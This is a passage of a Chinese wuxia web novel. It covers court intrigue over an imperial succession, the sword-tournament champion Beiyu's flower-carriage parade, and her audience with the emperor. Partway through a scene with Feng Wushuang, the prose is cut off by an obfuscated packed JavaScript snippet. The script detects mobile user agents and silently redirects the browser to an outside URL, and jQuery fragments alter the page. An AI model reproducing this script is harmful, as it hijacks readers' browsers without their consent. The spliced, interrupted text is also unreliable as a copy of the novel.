海刀夫子啧了一下,“我说你脑子有时候转不过弯来,你别不承认。” “送贺礼代表各方势力对你示好,一口气全拒了,相当于不给所以人面子,拒一部分收一部分,有被单独拉拢的嫌疑,倒不如照单全收,一视同仁。 你也不是富得流油的主,能光明正大发笔横财,何乐而不为。” “……有道理!”北羽呲溜躺倒在三箱金砖上面,感受着身躯下的冰凉沉重,安详合眼,“夫子,您没事了就请回吧,金砖有点冷,我有点热,我俩需要中和一宿。” 她这辈子就没见过这么多钱。 终于轮到她享受一把泼天富贵了。 啊,人生! “回什么回,正事还没说呢,你知道这三箱黄金谁送的吗?” “不知道。” “灵王的外祖父,谢宰相。” “哦,他啊,我见过,之前叶一片和南戏霖吃了他的宠猪,被扣在他的私宅,还是我去把人弄回来的,老头看起来挺慈祥和蔼,出手够大方。” “慈祥和蔼个屁!那次其实是他想给你和他的外孙灵王作媒。” “但我没见到灵王啊。” “那说明灵王没相中你。” ……没品的家伙。 北羽突然觉得金砖不香了,起身去摸翡翠佛像。 这玩意好啊,摆到圣剑山大厅多气派。 海刀夫子见缝插针道:“这尊玉像是大公主送你的。” “大公主?轩宸帝最宠爱的那个女儿?” “正是她。” “好阔气的手笔,我跟她半面之缘也没有过,她竟送我如此贵重的礼物,好大气的女人,女中豪杰啊。” 海刀夫子伸手,遥遥一指:“再去看看那边的镶宝石的玉匣子。” 北羽掀开盖子,白玉瓷瓶整齐排列,琅琊续骨膏、花颜消疤粉、虎髓化淤去肿丸等等,都是名贵的药物。 习武之人,难免磕磕绊绊,这份礼送得贴心。 她问道:“这又是哪位皇子送的?” 海刀夫子笑眯眯道:“八皇子慕容楚轩。” 北羽:“这三位皇子一个比一个不好惹,他们争先恐后给我送礼,肯定暗藏玄机,您有话不妨直说。” “好!不过,此事说来话长。” 23. 卷一·学宫试剑 海刀夫子和北羽齐齐坐下,他道:“学宫跟慕容皇室祖上的纠葛,晓得吗?” “小时候在史书上读过。” 镜悬大陆最初由星宫、无极宫、学宫统治。 星宫为首,实力最强,统治着星地、南境;无极宫排老二,掌握西海、东海;学宫是老幺,仅占着北境。 后来,一个叫辰胜天的女人,推翻了无极宫在东海的统治以及星宫在南境的统治,创立曌国,她的义弟慕容楚逸则在北境起义。 当时的学宫之主深觉不敌,为免生灵涂炭,主动归顺慕容楚逸,定下君子之约。 而这份君子之约,早在慕容皇室百年来持续削弱学宫势力的行为下,形同虚设。 时至今日,学宫的国子监、钦天监,已经不归海刀夫子管,各大城池亦设了城主一职,约束江湖人士。 但学宫对北境的文脉、武脉仍旧影响巨大。 且看试剑大会,北境名列前茅的少年,多为学宫弟子,便可知这一辈北境武运,依旧牢牢掌握在学宫手中。 海刀夫子十分骄傲于替学宫收纳了北羽、叶一片。 假以时日,北境剑圣之中最强的三人,将有两人出自学宫,镜悬大陆最强的剑客,天下第一,也会花落学宫弟子,何等风光。 但风光的同时,暗藏烦恼。 “近年来,轩宸帝身体每况愈下,诸位皇子蠢蠢欲动,任何一个皇子想要登基坐稳帝位,都必须获取学宫的支持,而学宫也必须选对人,支持新帝。 北羽,你十岁起入学宫,由我亲自教导抚养,拿下试剑大会榜首。在外人眼中,你就是我的心腹,你就代表了学宫。 所以,皇子们对你示好再寻常不过。” 北羽眯起双眼,哇,原来她这么重要,海刀夫子倒了杯茶,意思是慢慢喝,慢慢听他讲。 “轩宸帝一共有九位皇子。 长子大公主慕容承欢是轩宸帝第一个孩子,备受恩宠,野心勃勃,对太子之位势在必得。 二公主平庸,唯大公主马首是瞻。 三皇子慕容晏,是唯一封王的皇子,他的外祖父谢宰相,攒足劲要捧外孙上位,不过,三皇子本身对帝位不太感兴趣。 四公主早夭,五皇子粗笨。 六公主、七公主是双生子,命格奇特,从小对星象学兴趣浓厚,拜入钦天监国师门下,稍微长大些,就自请废除皇子身份,去了星地,成为星宫弟子。 八皇子慕容楚轩,是轩宸帝最爱的女人归元皇后所生,按理来说,他文韬武略,屡立战功,又是轩宸帝最爱的孩子,早该受封太子,只是,他跟轩宸帝关系不融洽,闹得很僵。 至于九皇子,一出生就下落不明,大约凶多吉少,寻不回来了。” 北羽:“如此说来,争帝位不过是大公主、灵王、八皇子三个人的事。夫子支持哪个?” “不知道,没想好,这是我最大的烦恼啊。” 三位皇子,各有长处,也各有短处。 他今天看大公主有野心有能力,明日觉得谢宰相人老骥伏枥,后天寻思轩宸帝最爱小儿子,整个人快精神分裂了。 眼瞅着八皇子回了天枢城,争储一触即发,学宫连下注哪位都没定。马后炮是没有好下场的,学宫必须尽快做出选择。 但是,他真的很纠结。 海刀夫子叹气,“先不提这事了,心烦。” 人在无语的时候,真的会笑,北羽道:“那您拉着我念叨这一大堆干嘛。” “抛砖引玉呗,我说了你别急眼,皇帝他想……”海刀夫子一副为难的表情。 北羽冒出一个大为不妙的猜测,“莫非……皇帝老儿在试剑大会对我见色起意,想让我做他妃子!” 这句话带给海刀夫子的冲击力,堪比南戏霖突然变傻了。 “没那么变态!” “哦,那就好。” 北羽松了口气,端起茶杯,喝了一口压惊,最近喜欢上她的人有点多,她的怀疑是有依据的。 “让你做他八儿子的老婆罢了。” 噗,一口茶喷了出来。 北羽锤了下桌子,震得茶杯歪倒。 “谁不知道我是修无情剑法的!可恶的皇帝老儿!他让位给我,再把儿子送我暖床还差不多。” 海刀夫子听笑了:“你还有一颗当皇帝的心呢,那之前星皇邀你去星宫,怎么不答应?” “星地太远了,我是北境人,要当皇帝肯定当北境的皇帝,可惜,我不姓慕容。” “是啊,可惜了。你若流着慕容皇室的血,我必倾尽学宫之力扶持你做皇帝。”海刀夫子拿起一瓶慕容楚轩送的药,烛火摇曳,白瓷生辉。 “八皇子长年混迹江湖不问朝政,母后虽已死却颇令轩宸帝怀念,把你许给他当皇妃,若他有夺帝之心,便如虎添翼,若无心帝位,将来有天下第一做老婆,就算太子之争再激烈,八皇子也不至于丢了小命。一石二鸟,进退两益,轩宸帝用心良苦啊。” “呸,拿我当棋子演慈父!”北羽怒上心头,“我绝不会答应见什么八皇子的。” “哦,是吗?我觉得你会去见他。”海刀夫子道。 “不可能!绝对不可能!”北羽坚定道。 “八皇子是一个很有故事的人,尤其是他的身世,你酷爱听人说书,如今活生生的例子摆在眼前,想必愿意凑这个热闹。”海刀夫子抛出诱饵。 北羽不以为然,“不就是轩宸帝爱上归元皇后,为了她遣散六宫,结果,轩宸帝转头跟宫女生下九皇子,致使归元皇后病逝。廉价的帝王真情,老掉牙极了。” 海刀夫子见鱼咬钩,立即套牢,掰着手指头念道:“北境六剑圣,分别是圣剑山乌去云、雪颂城李颂雪、青山派凰允念、玉瑶玄氏玄揽月、皇宫掌监洛春芙,以及……逝去的归元皇后。” 北羽手里的荔枝啪嗒掉在地上,一路滚到地上摆的鲜果篓边。 两筐荔枝,三筐樱桃,是大内掌监宣德送的。 什么!什么! 归元皇后居然就是玉清剑圣陈俪情!她们竟然是同一个人?! “我在天枢城住了六年,从未听人提及此事。”北羽恍惚道。 海刀夫子道:“因为涉及皇家秘事,轩宸帝不让人提。” “秘事?” “唉,说白了,是轩宸帝的丑事。” “遥想当年,陈俪情遇见微服私访的轩宸帝之时,才十九岁,不谙世事,反观,轩宸帝年过三十,嫔妃无数,久经情场,颇有引诱之嫌。 一来二去,陈俪情动了真心,怀了孕想成亲,见纸包不住火,轩宸帝方才坦白身份。 皇帝的女人,毫无自由可言。 陈俪情年少成名,剑圣之尊,性情高傲,怎肯入后宫为妃,便想打掉孩子,斩断情缘。 轩宸帝为了挽回她,主动遣散六宫,在玄真道观外跪了七天七夜,陈俪情被打动,不顾师门阻拦,去了天枢城。 筹办封后大典需要时间,她先以贵妃身份入了宫。 入宫后第三个月,她跟轩宸帝起了争执。 传闻是轩宸帝背叛了她,惹得她一怒之下,剑指天子,走火入魔功力大增,上百名禁军都没能拦住她。 轩宸帝的身体就是从那时起一落千丈,连星宫神医都医不好。 正因如此,轩宸帝一直对外隐瞒关于归元皇后的一切,世人只知,归元皇后因病早逝,乃帝王之爱,也只知北境六剑圣中的玉清剑圣,天妒英才,风华正茂而殁,却鲜少人知,她们是一人。” 北羽听得入神,“玉清剑圣是因为那夜弑君,受伤而死吗?” “大约吧。后来的事,我知道的不多,只听闻她负伤离开皇宫,隐藏行踪,回玄真道观生下八皇子,再然后,便是她的死讯了。” “陈俪情死之后,名剑玉昆仑被南境天心女帝拿回,她的剑法玉清十九式,被她儿子继承。八皇子从小在玄真道观长大,十一岁去了皇宫,十四岁入军营上战场,是一个很有意思,成就不凡的少年郎。” 北羽:“打住,怎么夸起他来了,您也想替我做媒啊!” 海刀夫子:“这我哪敢,叫你师父知道了 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海刀夫子不禁摇头,“你终究年轻,殊不知世人皆为三字折腰受累,哪怕武至剑圣,尊至帝王,仍难幸免。” 她打了个哈欠:“哪三字?” “名、利、情。 尤其情一字,爱情、友情、亲情、恩情,无人可逃。” 海刀夫子起身,推开窗户,望向明月。 “白发剑圣乌去云,昔日太上忘情剑道大成,踏遍镜悬大陆,无一败手,十八岁就成为实至名归的天下第一,可却爱上了罗刹堂的女刺客,而那名女刺客遇见他之前,就是东海魔教教主之妻了,因此酿成悲剧。” “雪颂剑圣李颂雪,十六岁时爱上一个神秘富商,富商在珍宝斋一掷万金,买下天下名剑落雨,赠与她作为定情信物,约定一月后成婚,岂料,此人一去不回,再无音信。 李颂雪从此封心锁爱,一心追求剑道。” “血凰剑圣凰允念,江湖客偏惹朝堂债,无数人在背后笑话他是镇北王的一条狗,未婚妻抛弃他后,成了学宫师范,倒是桃李满天下。” “揽月剑圣,既成了剑圣受万众敬仰,又娶了太后义女,有名的大美人朝阳郡主。生了个大胖小子,儿子还没长歪,简直幸运死了。” “秋落剑圣,洛春芙,罪臣之子,身世凄惨,痴人一个,三字尽占,恐怕将来难得善终。” “玉清剑圣跟轩宸帝之间,更是一笔烂账,若说不爱,轩宸帝曾为她对抗朝野,不顾帝王颜面,她也为轩宸帝背叛师门,收敛高傲。 若说爱呢,他辜负了她,甚至害死了她,而她即便拼了命也要杀他。 当年追封皇后的旨意一出,谁也说不清这二人究竟爱更多恨更多。” “当皇帝的不舒心,生而为皇子的不安心,做剑圣的问心有憾,想成为剑圣的心总难定,哪怕身处高处,也终究是举世凡人皆烦恼啊。” 海刀夫子悟性大发,屡屡而谈,但迟迟不见北羽搭话。 转身一看,北羽已经趴在桌子上,睡着了。 他顿感无语,跟一个少年人伤春悲秋,果然是对牛弹琴。 …………… 夜色飘渺。 前半宿繁星占据天际大半夜,后半宿反而月上柳梢头。 莫淮翻回不凡茶馆后院,左看右看,见周围无人,才走到水缸旁边,将头伸过去。 水中映月,月光如水。 他看清了自己的脸,原本的脸。 覆盖在肌肤表面的胎记,随着旧血肉的脱落,新血肉的生长消失殆尽,露出霜白的脸,墨黑的眸,丹红的唇,琼玉的鼻,确如北羽所言,是一张挑不出毛病的面容。 然而,他自己挑出来了毛病。 眉间一抹哀伤,挥之不去,真令人讨厌。 以及,太像一个人了…… 心中的激动渐渐死掉,莫淮的思绪杂乱起来。 一指划过,搅乱水面。 为什么…… 为什么他长得这么像……北羽的好朋友……玄北离呢…… 24. 卷一·学宫试剑 六月,天枢城满城花开。 学宫试剑大会结束的第三天,天下第一少年,将乘花车巡游整座城,一览满城芬芳,也使满城人尽览天下第一少年的风姿。 上千朵蔷薇花与月季还带着露珠就被新鲜摘下,装饰在车架之上,万紫千红,妩媚风流,六匹骏马头顶花球,五十人开道,皆手持花篮,边走边撒花,再有乐队乘小车跟随左右,吹箫弹琴。 架势堪比皇帝出行。 北羽被一众学宫弟子簇拥出了正门,一眼就爱上这座华丽庞大、花香浓郁扑鼻的马车。 “早知道花车这么气派好看,我当时就该再拼命一点!”叶一片满眼羡慕。 云笙弦:“坐过这辆车,以后再辉煌华贵的马车乘坐起来,也如土如尘了。” 南戏霖双掌合十,“北羽,今天全城的风头让你一个人出尽了。” “这么喜欢,跟我一起坐啊。”北羽笑道。 “这怎么好意思呢。” “就是,就是。” 北羽看向身旁的垂眸静思的玄北离,“北离,你最近怎么老发呆。” 玄北离忙抬起头,“花车真漂亮,跟你今天穿的衣服很配。” “衣服是我娘送的,大红大紫的,绣了有一百只蝴蝶,镶满了珍珠,平时压根穿不出去,多亏我拿了试剑大会第一,才有穿它的时机。” 北羽爱惜地摸了摸衣裳。 南戏霖拨弄她肩上的珍珠球,“确实隆重,足够拿给普通人家当嫁衣穿了。” 闻听此言,玄北离望着北羽再次出神。 北羽:“行了,废话不多说,晚上我在云霄酒楼定了一桌席味通天,你们等着享口福吧。” 叶一片瞠目结舌,“你发横财了!一千两的席面都吃得起!” “有点想象力好吗,最高档次,三千两!我托人去定的时候,都怀疑云霄酒楼养了活龙等着宰,这辈子也就请你们吃一回。” 南戏霖肃然起敬,“早说嘛,我提前三天不吃不喝空出肚子,以及肠子。” 北羽笑了两声,上了花车,朝四人挥手:“我走了,记得中午别吃饭了,留着晚上去云霄酒楼!” 花车启程,一路芳香。 离学宫比较近的不凡茶馆,早就挤满了人,掌柜的脸乐开了花,街道上人头挨着人头,一颗颗黑压压成群,翘首以盼。 莫淮一袭白衣,站在屋檐高处。 白马俊俏,拖动高台上的千株花貌,群芳之中,一抹红色身影吸引了所有人的目光。 为了让人们都看见试剑大会的第一名,花车建的十分高大,几乎就是一座小高阁楼,四面通达无帘,除了蔷薇花就是月季玫瑰。 北羽坐在其中,笑容明媚,朝周边挥手,恍若天女下凡,风华绝代,仙姿卓约。 看见莫淮,她浅笑嫣然取下一朵玫瑰,灌入内力飞花而去。 莫淮伸手接住,朝她一笑。 二人遥遥相望,竟有心有灵犀之感,待反应过来,皆是神魂一震,双双低下头去,缓了好一会。 等莫淮再抬头,花车已经走过。 车上,北羽回首眺望,依稀见他白衣,暗自懊恼,他竟不知道追上来,等等……莫淮并不懂武功。 不对! 昨夜为了救她,他追了海刀夫子一路,如今,怎连辆车都赶不上了。 ……不解风情的家伙! 北羽继续朝周遭欢呼雀跃的百姓挥手,累得膀子酸了,也不肯停下。 过了一会,她被一家客栈张扬的招牌吸引——万客来。 楼边站了一群青袍道士。 她看见一张熟悉的面孔。 万客来之上,玉怜真激动万分,直拍旁边师兄的后背,“师兄!师兄!北羽看我了,她看我了!” “知道了,你能别拍了吗,我快吐血了。” “啧!” 见他不捧场,玉怜真拽起坐在茶桌边的佰怜松,“佰师兄!北羽,她好漂亮,离近了看比上次离远了看更美!” 佰怜松微笑:“瞧你这副模样,该不会喜欢上人家了吧。” “开什么玩笑,人家可是试剑大会的榜首,我单纯崇拜她,再说了,谁能配得上北羽。佰师兄,你难道不崇拜她?我看你前两天练字的时候,还无意写了她的名字。” “我当时走神而已。”佰怜真狡辩道,耳朵却悄然红了。 见北羽没有再看向这边,玉怜真有些泄气:“师兄你起来晚了,方才北羽往咱们这里看了好几眼,她眼睛可大了,特别好看。” “你到底崇拜她的剑术,还是她的容貌。” “都崇拜!” 玉怜真往嘴里塞了块糕点。 佰怜松见状微微摇首,总是一副没长大的样子,这让他如何放心。 他倒了杯水给玉怜真,“怜真,我不日将启程离开天枢,前去边疆,那里风光千变万化,与境内的山川景色大不相同,很有趣的,你跟我一起去。” “啊!我不要走,我都跟师叔谈好了,要留在学宫钦天监两年,精进修为。” “精进修为?下山后,你不断闯祸,光是前段日子你被人追杀陷入绝境这一件事,就足够师兄我做三个月噩梦了。” “我哪有故意闯祸,不过见义勇为罢了!”玉怜真梗着脖子倔强道。 佰怜松哦了一声,“那我和你打个赌,就堵半月后,你究竟跟不跟我走,我赌你与我一起离开。” 玉怜真不干了,“你必定早想好对策治服我,这不公平!” “世上本就没有那么多公平。” “不要!不要!” 玉怜真像一只炸毛的猫,佰怜松正挑逗得起劲,随侍上楼,附在他耳旁低语几句,佰怜松脸色稍变站起身来。 “师兄去哪?” 玉怜真拽住他。 “家中找我,或许是急事,暂且去一趟。”佰怜松有些烦。 玉怜真撇了眼侍卫,将他拉到一边,小声道:“算起来,师兄家里那位薄情寡义的父亲,快过五十大寿了,他该不会想借机跟你和解?” 佰怜松一愣,说玉怜真不懂事吧,又懂点事,“还真有可能。” 往事浮现在脑海。 那时,他还很小,玄真道观观主的头发还没全白,观主抱着他,指着一幅画像,告诉他,这就是他娘,拼死生下他的母亲。 时常站在道观门栏外高墙后,温柔注视他的华服男子,则是天下第一薄情负心汉,抛妻弃子,坏事做绝,还故作姿态,装模作样。 就这样,他从画像上认识娘亲,从师叔们的口中认识父亲。 面对墓碑冰冷的母亲,柔和示爱的父亲,他曾纠结过谁对谁错。 也许如父亲所言,一切都是误会酿成的悲剧,原谅父亲,他至少可以拥有一位至亲。 然而,他最终选择站在了母亲这边,只为一个沉重悲痛的理由。 那就是母亲死了。 活着的人,再怎样痛苦,都还活着,死了的人,才是真正失去了最美好最珍贵的东西,生命。 佰怜松压下内心泛起的波涛,看着总是一脸懵懂的玉怜真,沉重回答道:“我永远不会原谅他,永远。” …………… 花车经过繁华无双的鸠止渴,望着天下第一赌坊的牌坊,北羽捻起一朵蔷薇,将提前备好的纸条放进去。 飞花划破热闹,擦过赌坊少东家的发梢,插入栏杆。 周边的伙计吓了一跳,“少东家!您没事吧!” 少东家挥手:“无碍。” 他取出花蕊里的纸条,上面写了一行字,风无霜,别忘了我们的约定。 少东家把纸条塞回去,将蔷薇递给一个伙计,“送到小姐房中。” …… 不一会儿,美丽的蔷薇,成了美人鬓边的点缀,白虎懒洋洋趴在阳光里,露出柔软的肚皮,哼哼唧唧跟主人撒娇。 风无霜叹了口气。 “小白,咱俩有麻烦了。学宫最好的一柄剑找我要人了,可是……我已经好几个月没收到他的消息了。” 她看向案桌上的一叠信。 两个月来,她给月冷花写信,封封有回信,但内容翻来覆去就那些。 我很好,你好吗? 别担心我,我想你了。 下次见面,我会换上你喜欢的红衣,你一定高兴。 诸如此类的废话,半点不透露行踪。 风无霜拔下发髻上的霜花发钗,取出袖中的白色绣帕,将脸贴在白虎柔软光滑的皮毛上。 喜欢她的,不见了。 她喜欢的,不喜欢她。 世上还有什么事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491621|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比这更令一个少女伤心。 风无霜呢喃道:“月冷花啊月冷花,究竟是你移情别恋了其他姑娘,还是你真的接到了一个前所未有的杀人任务呢?” …………… 日光之下,巍峨壮丽的皇宫,折射七彩霞光,宛如仙境。 百年前,北境开国皇帝慕容楚逸特意命军队领工匠去东、西二海海底矿场采掘七色琉璃石,制成镜悬大陆独一无二的七彩霞光瓦,替换了曾经学宫使用的言字砖瓦,象征这一座屹立千年的巨大宫城换了主人。 叶一片第一次亲眼见证,慕容楚逸打造的专属慕容皇室的彩霞,喟叹道:“好漂亮的光彩,比落日晚霞更胜三分,鬼斧神工啊。” “是吗?我不觉得美。”前方领路的宣德太监回首道。 “嗯?” 叶一片没料到宣德太监会反驳他。 “殿宇嵯峨,鳞次栉比,美轮美奂,天上宫阙,因为这座皇宫死去的人太多了,琉璃瓦的颜色在我眼中全是血红。” 宣德太监语调带了几分悲凉。 叶一片用笑容掩饰尴尬,今日既是试剑大会榜首花车游行,进宫面圣的日子,也是其余上榜者面圣的日子。 北羽前脚刚坐花车走了,后脚皇宫的车马就来接走了他。 只是,想不到领路之人竟是秋落剑圣。 他正要附和几句,却听宣德太监话语一转,“叶少侠位列学宫百强榜第二,前途不可限量,想必父母亲人都十分欢喜雀跃。” 真是哪壶不开提哪壶…… 叶一片:“我从记事起就独自流浪,直到遇见海刀夫子才进入学宫。” “……” “叶少侠过去受苦了,若有意寻亲,不妨趁现在一试,毕竟你也算名扬天下了。” 宣德太监露出笑容,就像一位真诚的长辈关怀晚辈,意外的祥和。 叶一片错愕道:“多谢掌监好意。以前,夫子也曾替我寻找过亲人,可惜,最终只找到当年拐卖我的人贩子。” 宣德太监停止脚步,嘴唇微颤:“……人贩?” “是。三年前,我的一位好友,辗转找到将我从玉衡拐走的人贩子,因为我身上有块特殊的胎记,所以人贩子还记得我。 他说,当年在一棵树下偷走了襁褓之中的我,本来打算带到开阳卖给一户人家,岂料半路我突发高烧,他一听医师说治不好了,就把我随手丢了。 后来,也不知哪个好心人救了我,我稀里糊涂地活了下去,从天璇城一路流浪乞讨到玉瑶城。” 一个不满十岁的孩子,流浪遍了北境七大城,其中酸辛无法言喻。 叶一片苦笑几声,“哪有父母会把婴儿放在树下的,估计我本来就是个弃婴。” 宣德太监沉声道:“天下父母,哪有不为孩子着想的,其中应有苦衷。” “也许吧。” 他的嗓音略微沙哑。 宣德太监沉默了。 叶一片心念微动。 从前看人脸色讨生活的他,能轻易分辨旁人对他是怜悯同情,还是蔑视瞧不起,而宣德给他的感觉很复杂。 不是可怜,不是刻意卖好,而是伤心…… 这位秋落剑圣,大内掌监,在听完他的身世后,居然流露出伤心之情。 只有在乎一个人,内心才会因其而伤。 忽然,他忆起北羽开过的玩笑。 该不会因为他们长得有点像,加之宣德是一个死了全家的罪臣之子,所以对孤身一人的他,有了同病相怜的意思? 荒谬的感觉与推测,几乎逗笑了他自己,叶一片弯了弯唇角。 宣德太监挺起腰,“怪我不好,提起叶少侠的伤心事,还是聊些高兴的事情吧。” “陛下将在学宫百强榜中选择一位年轻有为的少年,封官入禁军军营,培养为天枢禁军统领,无数世家子弟削尖脑袋挤进试剑大会玩命,就为了这个飞黄腾达的机会。 北羽修无情剑道,不沾惹名利,叶少侠是最有希望得到陛下青睐的人了。 我知道学宫弟子面圣不行大礼,但若是叶少侠想讨陛下欢心,可以不按学宫规矩来。” 叶一片挑了挑眉,宣德太监一向与海刀夫子不睦,对学宫态度也一般,不想竟对他颇为照顾,倒是有趣。 “谢过掌监提点。” 25. 卷一·学宫试剑 皇宫,太清殿。 轩宸帝放下手中密信,看向一旁静默许久的暗探首领,“星皇露川来了天枢城,朕竟然在他离开之后,才得知此事。” 暗探首领跪地请罪,“是微臣无能。” “星宫密遁术,镜悬第一,这不能怪你,星宫一如既往的神秘强悍呢。”轩宸帝说道。 “谢陛下不罚之恩,臣已查明,星皇此行是受星神启示来挑选侍奉,他相中了两个少年。” “哪两个少年,有幸入星皇的眼?” “禀陛下,是学宫弟子北羽和她的表哥云笙弦,二人皆为怜雪城北家血脉。” 轩宸帝稍作思索,“这二人答应星皇了吗?” “北羽明确拒绝,云笙弦没有。”暗探首领观察轩宸帝的神色,试探道,“陛下,星皇已经有了两个侍奉,一个是星宫从小培养的弟子江信子,另一个则是……” 他刻意停顿,见轩宸帝没有打断,才敢继续往下说,“另一个则是雀部的人,云笙弦是北境人,但也是学宫的人,如果他也去了星宫,我们该当如何?” 轩宸帝微眯起眼,“依你之见,露川为何选择他。” 暗探首领将早就想好的答案讲出:“微臣有一个不合时宜的猜测,上任星皇的三位侍奉,云灵儿是唯一一个惨死的,还是当年星皇露川为了夺权亲手做的,他选择云笙弦,也许……是想弥补。” 轩宸帝回忆道:“前几天试剑大会,朕曾远远见过云笙弦,极出众的一个少年,容姿秀丽,露川看中他也属常事。 反正,我们在星宫已经有了安排,其余的就随他去吧,露川捧谁,不是朕能左右的。” “微臣明白了。”暗探首领道。 “陛下。” 一道略尖细的嗓音响起,宣德太监步入殿内,弯身行礼,“禀告陛下,北羽已到偏殿。” “嗯,让她进来吧。” 宣德太监身形动了动,轩宸帝微微皱眉,“还有什么事?” “陛下,大公主殿下……她来了。” 轩宸帝的脸瞬间下拉,“胡闹!朕有旨在先,若无宣召,不许她进宫,你这个掌监是怎么当的!竟任由她抗旨!” 宣德太监面露难色,“奴才无能。大公主殿下啼哭不止,说驸马一家欺负她,今日非见陛下不可,奴才实在拦不住。” “……” “那先把她带到后殿,朕见完北羽再见她,苍漱,你也下去。” “微臣遵旨。” 苍漱与宣德太监退下。 宣德太监饶有趣味地打量苍漱眼睛上的白绸,“苍首领的眼疾又犯?” “老毛病了,于我而言,越明媚的阳光越致命。我是一个生来注定行走在黑夜中人,不像掌监,深受陛下重任。” 宣德并没有因为苍漱敷衍的恭维,而放过他,“三日前皇家演武场,我无意间看见了苍首领,你是为了观战,才取下眼罩导致眼睛受到了刺激吧。” 苍漱身子一僵,“……我生的晚,没能见识白发剑圣的仙剑术,有机会看一眼他徒弟北羽的太上忘情剑法,自然不能错过。” “哦,原来如此。”宣德嗤笑一声,慢悠悠说道,“我还以为苍首领的眼罩是为了当时身旁的二公主取掉的,毕竟二公主殿下不喜欢你像个瞎子一样。” “洛春芙!”苍漱怒火瞬起,“你竟敢妄议皇子!” 宣德拍拍他的肩膀,“怕什么,我又不会向外讲。” “苍首领贵为暗卫之首,陛下看重你的同时,必定也派了人监视你,别跟二公主走的太久,小心被察觉。” “一来,陛下将气愤于他的女儿跟奴才厮混在一起,二来,陛下将震惊于他的心腹,做了别人的棋子。” 即便苍漱白布遮眼,宣德仍能感觉到他狠狠削了自己几眼。 苍漱黑着脸离开,宣德将北羽引入正殿。 “学宫弟子北羽,见过陛下。”北羽礼貌拱手。 轩宸帝打量她一番,“怎不见残仙剑。” “连日来打了好几架,残仙累了,我把它放进寒潭休息了。何况,今日面见陛下,携剑未免无礼。”北羽不卑不亢道。 轩宸帝笑了笑,瞧着她很满意,“原以为像北少侠这样天赋冠绝的少年,性情难免桀骜些,不想很懂礼节。” “天枢城禁军统领的位置,感兴趣吗?” “不感兴趣。” “做了臣子就相当于做了棋子,棋子是用来被人安排的,我讨厌被安排。”北羽笑盈盈,眼神却藏锋。 轩宸帝噎了一下,但他的决定不会因为北羽的抗拒而改变,北羽必须和他儿子见面,“皇宫的七彩琉璃之色举世无双,哪怕学宫金柳妩媚,寒潭梅艳,相比之下也逊色三分,让宣德陪你逛一逛吧。” 北羽没有动。 轩宸帝:“这是朕的旨意。” “…….北羽领旨。”她在心里骂了句老东西,安慰自己,至少可以跟秋落剑圣讨论一下剑道。 北羽不情不愿地走了,轩宸帝迎来了他的不情不愿。 “父皇!” 大公主哭哭啼啼走进来,宫装华丽,妆容齐全,一副有备而来的模样。 她匆匆行了礼,直接坐到轩宸帝手边,倾诉道:“裴家简直欺人太甚!前几日驸马私自离开公主府回夫家,一直不回来,儿臣派侍女去裴家接人,裴太傅竟敢不放人,这不是叫整个天枢城看我笑话吗!” 轩宸帝头都懒得抬,转动大拇指上的玉扳指,“驸马回夫家是因为裴太傅病了。裴太傅忽然病倒,是因为他前段日子去公主府探望儿子的时候,撞见了你的侧室,被他们无礼顶撞,气急攻心。” 大公主撇嘴,“原来父皇都知道,儿臣还以为父皇一辈子都不理我,不在乎我了。” 轩宸帝:“你是我的女儿,我岂能不管你。你成亲不到一年,公主府就迎了两个侧室进门,裴太傅自然心疼独子。” 大公主:“玉郎、檀郎侍奉儿臣多年,都是有名有姓的世家子弟,父皇选定了驸马后,他们闹着要名份,儿臣已经拖了许久,给够裴家面子了。” “那公主府中的花魁又是哪一回事。” 遇到难回答的问题,大公主低眸不语,轩宸帝教训她道:“你贵为公主,金枝玉叶,府上侍卿成群也就罢了,怎么还沾上了不干不净的玩意。” “遇见我之前,他卖艺不卖身的。”大公主试图挽回颜面。 “芷儿,你就如此讨厌驸马?连半分颜面也不给他。” “裴胜渊空有皮囊,自诩才子,实则胆小懦弱。” “胡说,裴卿乃天枢四才子首,出身世家,父亲三朝元老,朕曾多次召他作诗,气度不凡,仪表堂堂,诗词更是一绝。” 轩宸帝有些不悦,当初他安排女儿与裴胜渊相见,女儿明明十分满意,婚后却成了怨侣。 “哼!我就是看他不顺眼。” 大公主将头扭过去。 轩宸帝见此,也没有好主意,无奈道:“那就在公主府养几个顺眼的面首,舒舒服服过日子,只是多少给驸马些脸面,少闹到朕跟前。” 大公主起身跪下,“父皇若真想让儿臣舒心,就请您封儿臣为太子吧。” 轩宸帝闭上眼,又来了。 大公主声情并茂:“二妹无志,三弟顽劣,五弟粗拙,六妹七妹弃了皇姓,八弟向往江湖,唯有儿臣自幼养在父皇膝下受您教导,又是长子,请您封儿臣为皇太女吧。” …… 哪有动不动就把封太子挂在嘴边的皇子,这个女儿真叫他宠坏了,轩宸帝拽出被大公主压住的袖子,“你先回府,朕会派人告诉裴太傅,让他把儿子送回去。” 大公主抬起头,没有动弹。 轩宸帝再次催促:“你八弟还在外面候着,你先回去,来日父皇再宣你。” “是。”大公主一步三回头地退下。 轩宸帝忍不住笑了,仿佛看见小时候糯米团子一样可爱的女儿,每回离开太清殿都恋恋不舍,嘴里嘀咕着父皇处理完政务陪我玩。 很久以前,他确实把这个女儿当作继承人的不二之选,悉心教导,谁知后来…… 哎。 大公主出来后,直奔候在殿外的慕容楚轩而去,“八弟难得回趟天枢城,今夜我在公主府为你设宴接风洗尘怎样?” “大姐。”慕容楚 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她恨归元皇后的出现,夺走了父皇给母妃的爱,更恨慕容楚轩的降生,夺走了本属于她的帝位。 一个皇子整天嚷着做太子,当然愚蠢,但若她不明说,父皇就会装聋作哑,好像从前对她的教导和承诺,全没存在过。 淡淡心酸泛起,大公主挪开目光,“父皇在等你,快进去吧。” 慕容楚轩的身影消失在殿门后,大公主命侍女原地等候,独自走到一处偏僻角落,宣德太监从阴影中走出。 大公主:“他回来真的只为祭拜归元皇后吗?” “暂时只有这一个目的。”宣德太监道。 